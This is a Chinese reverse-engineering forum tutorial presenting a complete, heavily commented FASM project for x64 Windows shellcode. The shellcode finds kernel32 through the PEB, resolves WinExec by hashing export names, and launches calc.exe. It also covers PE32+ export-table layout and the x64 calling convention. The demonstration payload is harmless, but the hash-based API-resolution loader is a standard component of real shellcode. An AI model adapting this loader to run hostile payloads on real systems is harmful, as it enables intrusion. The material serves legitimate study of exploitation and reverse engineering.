1 关于WinExec-run-calc X64
关于X64的可编译完整工程,我用谷歌没有找到,检索到的网址里面感觉这两个不错
/////http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
/////http://code.google.com/p/win-exec-calc-shellcode/downloads/list
推荐下
xfish帖子地址 附带了hash计算器
http://bbs.pediy.com/showthread.php?t=86216
我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExec run cmd
改成了64位的WinExec run calc 代码写的有点罗嗦,加入nop,然后用IDA或者其他工具
提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。
一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。
2 fasm的一些基础知识
网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasm hello world 的例子 你可以从中
感受下fasm的语法和关键字,以及64位ASM编程。 //////////////////////////////////////////
format PE64 GUI
include 'win64a.inc'
entry start
section '.text' code readable executable
start:
sub rsp,8*5 ; reserve stack for API use and make stack dqword aligned
mov r9d,0
lea r8,[_caption]
lea rdx,[_message]
mov rcx,0
call [MessageBoxA]
mov ecx,eax
call [ExitProcess]
section '.data' data readable writeable
_caption db 'Win64 assembly program',0
_message db 'Hello World!',0
section '.import' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
//////////////////////////////////////////////
直接复制粘贴到fasm里面就可以编译通过生成一个hello world,通过这个
例子你可以亲身感受下fasm,利于我们接下来的学习。
3 shellcode工程注解
xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,
下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行
讲解
完整的工程代码如下,直接可以复制粘贴,编译运行。
/////////////////////////////////////////////////// format PE64 CONSOLE macro .text {section '.text' code readable executable writeable}
macro .code {section '.code' code readable executable }
macro .data {section '.data' data readable writeable }
entry __Entry
include 'win64axp.inc'
.text
__Entry:
nop
nop
nop
nop
call GetKrnlBase3
push 016EF74Bh ; Hash WinExec 32
push rsi ;kernel32 module 64
call GetApi
mov rdx,5
lea rcx,[calc]
call rax
; ret
;由于GetApi是我们自己实现的函数
;我们不一定非得 r9 r8 rdx rcx
;对齐是10h+8 堆栈对齐
; xor r9, r9
; cinvoke getch
invoke ExitProcess,0
; mov eax, [fs:30h]
; mov eax, [eax+0ch] ;Get _PEB_LDR_DATA
; mov eax, [eax+1ch] ;Get InInitializationOrderModuleList.Flink,
;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以我们获得它的下一个则是
kernel32.dll
; mov eax, [eax]
; mov eax, [eax+8h]
; ret
; add 3
struct IMAGE_EXPORT_DIRECTORY
Characteristics dd ? ;未使用
TimeDateStamp dd ? ;文件生成时间
MajorVersion dw ? ;主版本号,一般为0
MinorVersion dw ? ;次版本号,一般为0
nName dd ? ;模块的真实名称
nBase dd ? ;基数, 加上序数就是函数地址数组的索引值
NumberOfFunctions dd ? ;AddressOfFunctions阵列的元素个数
NumberOfNames dd ? ;AddressOfNames阵列的元素个数
AddressOfFunctions dd ? ;指向函数地址数组
AddressOfNames dd ? ;函数名字的指针地址
AddressOfNameOrdinals dd ? ;指向输出序列号数组
ends
;++
;
; int
; GetApi(
; IN HINSTANCE hModule,
; IN int iHashApi,
; )
;
; Routine Description:
;
; 获取指定函数的内存地址
;
; Arguments:
;
; (esp) - return address
;
; Data (esp+4) - hDllHandle
; (esp+8) - nReason
; Return Value:
;
; eax -> Function Mem Address。
;
;--
GetApi:
pop rdx; save return addr
pop rax; hModule kernel32.dll基地址
pop rcx; lpApiString 在这里是Hash 32位的
push rdx ;return addr 再次入栈 保存返回地址 栈中只有rdx
;各类寄存器依次入站 pushad
push rax
push rcx
push rdx
push rbx
push rsp
push rbp
push rsi
push rdi mov ebx, eax; hModule rbx
mov edi, ecx; hashapi rdi
mov eax, [ebx+3ch]; 此时rax为e_lfanew的值 保存了PE头文件
;的偏移位置
mov esi, [ebx+eax+88h];数据目录表的第一个成员 保存了_IMAGE_EXPORT_D的RVA 32位下是78h
lea esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames] ;esi==numberofnames的内存地址
cld
lodsd ; mov eax,[esi] esi=esi+4
xchg eax,edx ;edx= NumberOfNames==有名字的函数的数量
lodsd ; mov eax,[esi] esi=esi+4 eax此时是eat的rva 增加之后的[esi]对应AddressOfNames
push rax;[esp]=AddressOfFunctions EAT的RVA 此时栈中有返回地址 pushad EAT的RVA
lodsd ; mov eax,[esi] esi=esi+4 增加之后的[esi]对应AddressOfNameOrdinals
xchg eax,ebp;此时ebp 是ENT 的rva
lodsd ;mov eax,[esi] esi=esi+4 没有增加之前的[esi]对应AddressOfNameOrdinals
xchg eax,ebp;
;ebp = eot的rva, eax = ent的rva
;ebx 此时是hModule
add eax,ebx; 此时eax是ENT的内存地址
;ebx 此时是hModule
xchg eax,esi; 此时rsi是指向ent的内存地址 VA=IB+RVA
;其中大家最 为关注的输入表、导出表、
;重定位表、资源的结构体跟 PE32 一样,没有发生任何变化。
.LoopScas:
dec edx ;edx= 有名字的函数的数量
jz .Ret ;.Ret先没写
lodsd ;mov eax,[esi] esi=esi+4 此时eax是ent的内容
;内容也就是各个ASCII字符串的RVA
add eax,ebx ;IB+字符串的rva 得到ASCII字符串的内存地址
;rbx此时是hModule
push rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
;殃及递减器
;此时栈中有返回地址 EAT的RVA 有名字的函数数量
;;全是64位的寄存器
push rax; rax==函数名字的内存地址 也就是ASCII字符串的内存地址
;此时栈中有返回地址 EAT的RVA 有名字的函数数量 函数名字的内存地址
;全是64位的寄存器
call GetRolHash
;此时edi是hash
;eax存贮了计算之后所得到的hash
;此时栈中有getapi的返回地址 EAT的RVA 有名字的函数数量
pop rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
; ;此时栈中有getapi的返回地址 EAT的RVA
;rsi 下个函数名字的rva
cmp eax,edi
jz .GetAddr
;ebp = AddressOfNameOrdinals,
add ebp, 2
;ebp = eot的rva
;ebp = AddressOfNameOrdinals 的rva
jmp .LoopScas ;从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始,
;在循环中将每一项定义的函数名与要查找的函数名相比较,
;如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数
;如果某一项定义的函数名与要查找的函数名符合,
;那么记下这个函数名在字符串地址表中的索引
;值,然后在 AddressOfNamesOrdinals 指向的
;数组中以同样的索引值取出数组项的值,我们这里假设这个值是x
;最后,以 x 值作为索引值,在 AddressOfFunctions
;字段指向的函数入口地址表中获取的
;RVA 就是函数的入口地址。
;简单说是:查找AddressOfNames ,对应到a项,取AddressOfNamesOrdinals
;的第a项的值得到b,取AddressOfFunctions 的第b项 ;rbx此时是hModule
;ebp = AddressOfNameOrdinals 的rva
;指向另一个word 类型的数组(注意不是双字数组)
; [rsp]==[esp]=AddressOfFunctions 也就是EAT的rva
; ;此时栈中有getapi的返回地址 EAT的RVA
.GetAddr:
xor rax,rax
movzx eax,word [ebp+ebx]; 00004000h
shl eax,2
add eax,[rsp]
mov eax,[ebx+eax] ;得到了函数的RVA地址
add eax,ebx
; ;此时栈中有getapi的返回地址 pushad EAT的RVA
.Ret:
pop rcx ;
mov [rsp+8*7],rax
; popad
pop rdi
pop rsi
pop rbp
pop rsp
pop rbx
pop rdx
pop rcx
pop rax
ret
;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX 按照这些指令出栈可能会覆盖寄存器的值
;必须mov [esp+4*7],eax
GetKrnlBase3:
mov rsi, [gs:60h] ;peb from teb
mov rsi, [rsi+18h] ;_peb_ldr_data from peb
mov rsi, [rsi+30h] ;InInitializationOrderModuleList.Flink,
;rsi==00232c90 00000000
mov rsi, [rsi] ;kernelbase.dll
;rsi=00232b20 00000000
mov rsi, [esi] ;kernel32.dll
mov rsi, [rsi+10h] ; pay attention to danwei
ret GetRolHash:
pop rcx;返回地址
pop rax;函数名字内存地址
push rcx;压入返回地址
push rsi;下个函数名字的rva 下个ent的内容 也就是下个函数名字的rva
;此时栈中有getapi的返回地址 EAT的RVA 有名字的函数数量
;GetRolHash返回地址 下个函数名字的rva
xor rdx,rdx
xchg eax,esi ;rsi=第一个函数的名字的内存地址
;eax==下个函数名的RVA
cld
.Next:
lodsb ; mov al,[si] si=si+1
test al,al ;按位与测试直到函数最后一个0字符
jz .Ret
rol edx,3
xor dl,al ;
jmp .Next
.Ret:
xchg eax,edx ;此时eax存储了hash
pop rsi ;下个函数名字的rva
ret ;pop rcx 返回地址 正好堆栈平衡 .data
;type db "%I64x",0
;hello_msg db 0Dh,0Ah
calc db "calc.exe " ,0
show db 'SW_SHOW'
section '.idata' import data readable writable
library kernel,'KERNEL32.DLL'
import kernel,\
ExitProcess,'ExitProcess'
;szCaption db 'test',0
;
; section '.import' import data readable writeable
; library kernel32, 'kernel32.dll',user32, 'user32.dll'
; include 'api\kernel32.inc'
; include 'api\user32.inc'
///////////////////////////////////////////////
注释的很详细了 需要说明的有这么几点
1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释
搞清楚这个时候堆栈里面都还有些什么
2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些
偏移发生了变化,可以自行dt查看
3导出表没有发生变化
4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。 4 对call WinExec的说明
最后的代码我是这样写的
mov rdx,5
lea rcx,[calc]
call rax
实际上googlecode上面的那个作者也是用的rdx rcx传递的参数的,他的代码是这样的:
PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc", 0
PUSH RSP
POP RCX ; RCX = &("calc")
PUSH RCX ; WinExec messes with stack -
CDQ ; RDX = 0
CALL RDI ; WinExec(&("calc"), 0);
你可能问,用r9\r8传递参数不可以吗,我用r9 r8传递参数结果程序crash。我们写个简单的小程序,使用
WinExec调用calc,IDA中显示这样的结果
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub rsp, 28h
lea rcx, CmdLine ; "calc.exe"
mov edx, 5 ; uCmdShow
call cs:__imp_WinExec
xor eax, eax
add rsp, 28h
retn
调用WinExec的时候 windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧
Fasm 完整可编译工程 noprintfwinexec.7z
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: